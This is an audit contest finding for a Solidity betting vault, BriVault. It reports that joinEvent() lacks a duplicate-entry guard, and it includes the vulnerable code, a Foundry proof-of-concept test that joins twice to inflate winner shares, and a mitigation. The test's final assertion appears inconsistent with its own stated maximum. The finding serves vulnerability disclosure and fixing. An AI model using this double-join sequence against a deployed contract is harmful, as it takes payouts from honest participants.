BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Duplicate User Entries in usersAddress Array (Missing Duplicate Guard in joinEvent causing inflated Winner Shares and Misallocation of Funds)

Root + Impact

Missing Duplicate Guard in joinEvent causing inflated Winner Shares and Misallocation of Funds

Description

  • Normal behavior:
    The joinEvent() function is intended to allow each legitimate participant to join an active event exactly once. The event logic later aggregates all participant shares to determine winner allocations, where each participant’s contribution should be counted only once and proportionally to their deposit amount.

  • Specific issue:
    The contract does not enforce uniqueness in event participation. The same user can call joinEvent() multiple times, causing their address to be added repeatedly to the participant list. When winner shares are calculated, all entries including duplicates are counted, allowing a user to artificially inflate their weighting in the final share distribution without depositing additional funds. This causes unfair allocations and potential financial loss.

// Root cause in the codebase with @> marks to highlight the relevant section
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
// audit consistent event start check deposit has a different check
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
//audit does it check for duplicate users? but it may be intended to allow multiple entries
@> usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}

Risk

Likelihood:

  • Duplicate entries occur whenever the contract is deployed in its current state, because joinEvent() does not restrict how many times a participant can join.

  • Attackers are fully incentivized to exploit this since it requires zero extra cost (multiple calls cost minimal gas and no additional tokens), making abuse extremely accessible and predictable.

Impact:

  • A malicious participant can manipulate reward distribution, receiving disproportionately high winner shares compared to their actual deposited amount.

  • Honest users experience direct financial loss, as their rightful share is diluted resulting in incorrect payout calculations, unfair settlements, and potentially severe trust/reputation damage to the platform or project.

Proof of Concept

  • Test scenario with 2 users betting on same winning team

  • User1 exploits vulnerability by calling joinEvent() twice

  • Tournament concludes, winner is set

  • Internal _getWinnerShares() reveals inflated total due to duplicates

  • Expected shares: user1Shares + user2Shares

  • Actual shares: (user1Shares × 2) + user2Shares

  • 100% inflation for User1's contribution

  • Direct proof of broken payout calculations

function test_joinEvent_duplicateUserInflatesWinnerShares() public {
vm.warp(eventStartDate - 1);
//user 1 deposits and joins event
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1shares = briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
//user 1 joins again
briVault.joinEvent(10);
vm.stopPrank();
//user 2 deposits and joins event
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
uint256 totalWinnerShares = briVault.getWinnerSharesForTest();
console.log("User1 shares:", user1shares);
console.log("User2 shares:", user2shares);
console.log("Total winner shares (with duplicate):", totalWinnerShares);
console.log("Expected minimum winner shares (without duplicate):", (user1shares) + user2shares);
console.log("Expected maximum winner shares (with duplicate):", (user1shares * 2) + user2shares);
//proof that duplicate entry inflated winner shares
assertGt(
totalWinnerShares,
(user1shares * 2) + user2shares,
"Total winner shares should account for duplicate entries"
);
}

To demonstrate the vulnerability, a test function getWinnerSharesForTest() was added to expose the internal _getWinnerShares() calculation. This allows direct observation of how duplicate entries inflate the winner share total.

function getWinnerSharesForTest() external returns (uint256) {
return _getWinnerShares();
}

Recommended Mitigation

The root cause of this issue is the lack of a mechanism preventing duplicate event participation. The fix should focus on ensuring each user can only join once per event, unless multiple entries are explicitly part of the design.

+ mapping(address => bool) private hasJoined;
function joinEvent(uint256 countryIndex) external {
+ require(!hasJoined[msg.sender], "Already joined");
// existing logic
hasJoined[msg.sender] = true;
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!